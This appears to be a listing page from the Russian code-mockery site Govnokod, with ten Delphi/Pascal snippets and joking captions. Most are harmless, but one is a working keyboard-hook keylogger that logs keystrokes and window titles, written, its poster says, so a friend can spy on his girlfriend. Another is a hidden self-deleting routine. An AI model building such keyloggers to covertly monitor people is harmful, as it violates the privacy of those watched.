1. Pascal / Говнокод #25468

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    Ent := 0.0;
      for I := Low(Freq) to High(Freq) do
        Ent := Ent + Freq[I];
      Ent := Ln(FileSize(Input)) / Ln(2) * Ent;
      for I := Low(Freq) to High(Freq) do
      begin
        if Freq[I] > 0 then
          Ent := Ent - Freq[I] * Ln(Freq[I]) / Ln(2);
      end;
      Ent := Ent / FileSize(Input);

    Скучно, девочки!

    Increment_Excrement, 23 Марта 2019

    Комментарии (66)
  2. Pascal / Говнокод #25335

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    Program Aliski; 
    uses Graphabc; 
    begin 
    SetWindowWidth(800); 
    SetWindowHeight(600); 
    SetPenWidth(3); 
    SetFontSize(18); 
    SetFontColor(clGreen); 
    rectangle(85,80,500,140); 
    TextOut(100,100,'Алексей у тебя реально 10см?'); 
    Circle(350,500, 40); 
    Circle(430,500, 40); 
    FloodFill(350,500,clSkyBlue); 
    FloodFill(430,500,clPurple); 
    Line(350,460,350,250); 
    Line(430,460,430,250); 
    Line(340,250,440,250); 
    Line(390,220,390,200); 
    Arc(390,250,50,0,180); 
    end.

    Ученик решил поприкалываться над товарищем на уроке

    vodandr, 28 Января 2019

    Комментарии (58)
  3. Pascal / Говнокод #25044

    −102

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    procedure SelfDelete;
    var
      S,SS:string;
    begin
      SS:=ParamStr(0);
      S:='/c for /L %f in (1,1,100000) do if exist("'+SS+'") del /q /f^"+SS+" else exit';
      ShellExecute(0, nil, 'CMD', @S[1],nil, SW_HIDE);
      FatalAppExit(0,"Админ, забань борманда")
    end;

    Великий конспиратор продакшн.

    blackray, 01 Ноября 2018

    Комментарии (69)
  4. Pascal / Говнокод #25038

    +4

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    unit ZwDeleteFileSample;
    
    interface
    
    uses Windows, nt_status, native, hal, fcall, macros, ntoskrnl;
    
    function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;
    
    implementation
    
    procedure DriverUnload(pDriverObject: PDriverObject); stdcall;
    begin
      DbgPrint('Test Driver :: Unloaded');
    end;
    
    function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;
    var UNICODESTRING: UNICODE_STRING;
      obj: OBJECT_ATTRIBUTES;
    
    begin
    
      DbgPrint('Test Driver :: Loaded');
      DriverObject^.DriverUnload := @DriverUnload;
    
      RtlInitUnicodeString(UNICODESTRING, '\??\C:\test.exe');
      InitializeObjectAttributes(obj, @UNICODESTRING, OBJ_CASE_INSENSITIVE + OBJ_KERNEL_HANDLE, 0, nil);
      Result := ZwDeleteFile(@obj);
    
      if Result = STATUS_SUCCESS then
      begin
        DbgPrint('File deleted sucessfully - Result:0x%.8X', Result); // Result to get Error Code
      end else
      begin
        DbgPrint('Fail to delete file - Result:0x%.8X', Result); // Result to get Error Code
        DbgPrint('Object name :%wZ',  obj.ObjectName); // Result to get Error Code
      end;
      Result := STATUS_SUCCESS;
    
    end;
    
    end.

    Драйвер на дэлфи. Ничего необычного, листайте дальше.

    blackray, 29 Октября 2018

    Комментарии (10)
  5. Pascal / Говнокод #24872

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    procedure TMainForm.FormCreate(Sender: TObject);
    var
      s : String;
      reg : TRegistry;
    begin
      SetLength (s, Max_Path);
      SHGetSpecialFolderPath (0, PChar(s), CSIDL_COMMON_APPDATA, false);
      AppDataPath := s + '\Test\';
      ShowMessage (AppDATAPath);
    end;
    
    , где AppDataPath : string;
    Только вот в AppDataPath находиться только S, а должно быть s + '\Test\'
    Вопрос: Почему?
    Заранее благодарен
    
    
    
    Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать. Нужно делать так:
    
    Код:
    var
      s : array[ 0..MAX_PATH ] of Char;
      reg : TRegistry;
    begin
      s[ 0 ] := #0;
      SHGetSpecialFolderPath (0, s, CSIDL_COMMON_APPDATA, false);
      AppDataPath := s + '\Test\';
      ShowMessage (AppDATAPath);
    end;
    
    http://www.programmersforum.ru/showthread.php?t=84319

    @Потому что нельзя передавать паскалевскую строку в виде PChar в функцию, которая будет её там модифицировать.
    Ахуенно крутой спец по строкам.

    Кстати, https://primechaniya.ru/home/news/oktyabr-2018/v-tatarstane-18-podrostkov-otravilis-kitajskimi-duhami/

    BagorCtretora, 08 Октября 2018

    Комментарии (66)
  6. Pascal / Говнокод #24859

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    unit KHook;
    
    interface
    
    uses Windows, SysUtils, Messages;
    
    const
      WH_KEYBOARD_LL = 13;
      LLKHF_UP = $0080;
    
    type
      TKbdHookEvent=procedure (S:WideString);
    
    type
      PKbdDllHookStruct = ^TKbdDllHookStruct;
      TKbdDllHookStruct = record
        vkCode: DWORD;
        scanCode: DWORD;
        flags: DWORD;
        time: DWORD;
        dwExtraInfo: PDWORD;
      end;
      KBDLLHOOKSTRUCT = TKbdDllHookStruct;
    
    implementation
    
    var
      KbdProc:TKbdHookEvent=nil;
      Hook:HHOOk;
      WinTitle:WideString='';
    
    function lpfn(nCode,wParam,lParam:Integer):Integer; stdcall;
    var
      KeyName:WideString;
      CurrWinTitle:WideString;
      KeyState : TKeyboardState;
      hklLayout:HKL;
      FW:HWND;
    begin
       try
        if (nCode = HC_ACTION) and ((wParam = WM_KEYDOWN) or (wParam=WM_SYSKEYDOWN)) then
        begin
          FW:=GetForegroundWindow;
          hklLayout:=GetKeyboardLayout(GetWindowThreadProcessId(FW, nil));
          GetKeyboardState(KeyState);
          SetLength(CurrWinTitle, 1000);
          SetLength(CurrWinTitle, GetWindowTextW(FW, @CurrWinTitle[1], 1000));
          with PKbdDllHookStruct(LParam)^ do
          case vkCode of
            VK_BACK:     KeyName := '[BackSpace]';
            VK_TAB:      KeyName := '[Tab]';
            VK_CAPITAL:  KeyName := '[CapsLock]';
            VK_RETURN:   KeyName := '[Enter]';
            VK_ESCAPE:   KeyName := '[Esc]';
            VK_CANCEL:   KeyName :=  '[Cancel]';
            VK_F1:       KeyName := '[F1]';
    			{...}
            VK_HELP:     KeyName := '[Help]';
          else
            SetLength(KeyName,1);
            KeyState[VK_SHIFT]:=GetKeyState(VK_SHIFT);
            KeyState[VK_CAPITAL]:=GetKeyState(VK_CAPITAL);
            if ToUnicodeEx(vkCode, MapVirtualKeyW(vkCode, 0,), @KeyState, @KeyName[1], SizeOf(WideChar), 0, hklLayout) <> 1 then
            KeyName:='?!ERROR'; // не корысти ради, токмо для отладки.
          end;
          if KeyName='' then KeyName:=IntToStr(PKbdDllHookStruct(LParam)^.vkCode);
          if WinTitle='' then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:=CurrWinTitle+' {'#13#10+KeyName;
          end
          else if WinTitle <> CurrWinTitle then
          begin
            WinTitle:=CurrWinTitle;
            KeyName:='}'#13#10+CurrWinTitle+' {'#13#10+KeyName;
          end;
          KbdProc(KeyName);
        end;
      finally
         Result := CallNextHookEx(Hook,nCode,wParam,lParam);
      end;
    end;
    
    function SetHook(lpCallBack:TKbdHookEvent):Boolean;
    begin
      if Assigned(lpCallBack) then
      KbdProc:=lpCallBack;
      Hook:=SetWindowsHookExW(WH_KEYBOARD_LL, lpfn, HInstance,0);
      Result:=(Hook <> INVALID_HANDLE_VALUE);
    end;
    
    function RemoveHook:Boolean;
    begin
       Result:=UnHookWindowsHookEx(Hook);
    end;
    
      exports SetHook,
       RemoveHook;
    end.

    Клавиатурный сексот на Delphi.
    Никогда такой хуйнёй не страдал, пишу для друга, который подозревает свою деву в изменах.

    BagorCtretora, 04 Октября 2018

    Комментарии (126)
  7. Pascal / Говнокод #24826

    −3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    {$APPTYPE CONSOLE}
    Procedure G(p: pointer);
    Const
        Messages: array[false..true] of string = ('Не гниль', 'Гниль');
    Begin
        Writeln(Messages[p=nil])
    End;
    
    Begin
        G(nil)
    End.

    https://ideone.com/XWhPQf

    nu3gELL, 27 Сентября 2018

    Комментарии (28)
  8. Pascal / Говнокод #24816

    −1

    1. 1
    2. 2
    3. 3
    4. 4
    procedure ChangeChar(var c: char; val: char);
    begin
      c := val;
    end;

    Это из модуля PABCSystem. Но зачем?

    Morgoth, 26 Сентября 2018

    Комментарии (14)
  9. Pascal / Говнокод #24429

    −3

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    30 июня 2012 года Михаилу Подивилову (mihip, podivilov) пришла в голову создать свою систему счисления WCT. 
    Напоминаю, что цифры WCT ABCDEFGHIJKLMNPO соответствует цифрам HEX 0123456789ABCDEF соответственно. 
    А реализация компилятора была написана на Embarcadero Delphi. 
    
    Стертор, не ты ли это?

    dm_fomenok, 29 Июня 2018

    Комментарии (41)
  10. Pascal / Говнокод #24333

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    uses crt;
    var i,pc2,vc2,tc2,chc2,q,pc,vc,tc,chc,kvt,k,a,b,c,d,t1,t2,t3:integer;
    pc1,vc1,tc1,chc1,n,n1,n2:string;
    begin
    clrscr;
    read (n);
    n1:=n;
    n2:=n;
    a:=pos('.',n)+1;{a-nachalo vtorogo chisla}
    t1:=pos('.',n);
    delete (n,a-1,1);{ybrali iz IP pervuu tochky}
    b:=pos('.',n)+2;{b-nachalo tret'ego chisla}
    t2:=pos('.',n);
    delete (n,b-2,1);{ybrali iz IP vtoruu tochky}
    c:=pos('.',n)+3;{c-nachalo chetvertogo chisla}
    t3:=pos('.',n);
    delete (n,c-3,1);{ybr III tochky}
    pc1:=copy(n2,1,a-2);{str chislo 1}
    vc1:=copy(n2,a,((t2)-(length(pc1)+1))); {str chislo 2}
    q:=t3-length(pc1)-length(vc1)-1;
    tc1:=copy(n2,b,q);
    q:=length(n2)-length(pc1)-length(vc1)-length(tc1);
    chc1:=copy(n2,c,q);
    val (pc1,pc2,d);
    val (vc1,vc2,d);
    val (tc1,tc2,d);
    val (chc1,chc2,d);
    for i:=1 to length(n) do
    begin
    if n2[i]='.' then kvt:=kvt+1;
    if La-La-La
    then
    write ('1')
    else
    write ('0');
    repeat until keypressed;
    end.

    Определяем правильный ли IP-адрес...

    Verenick, 28 Мая 2018

    Комментарии (20)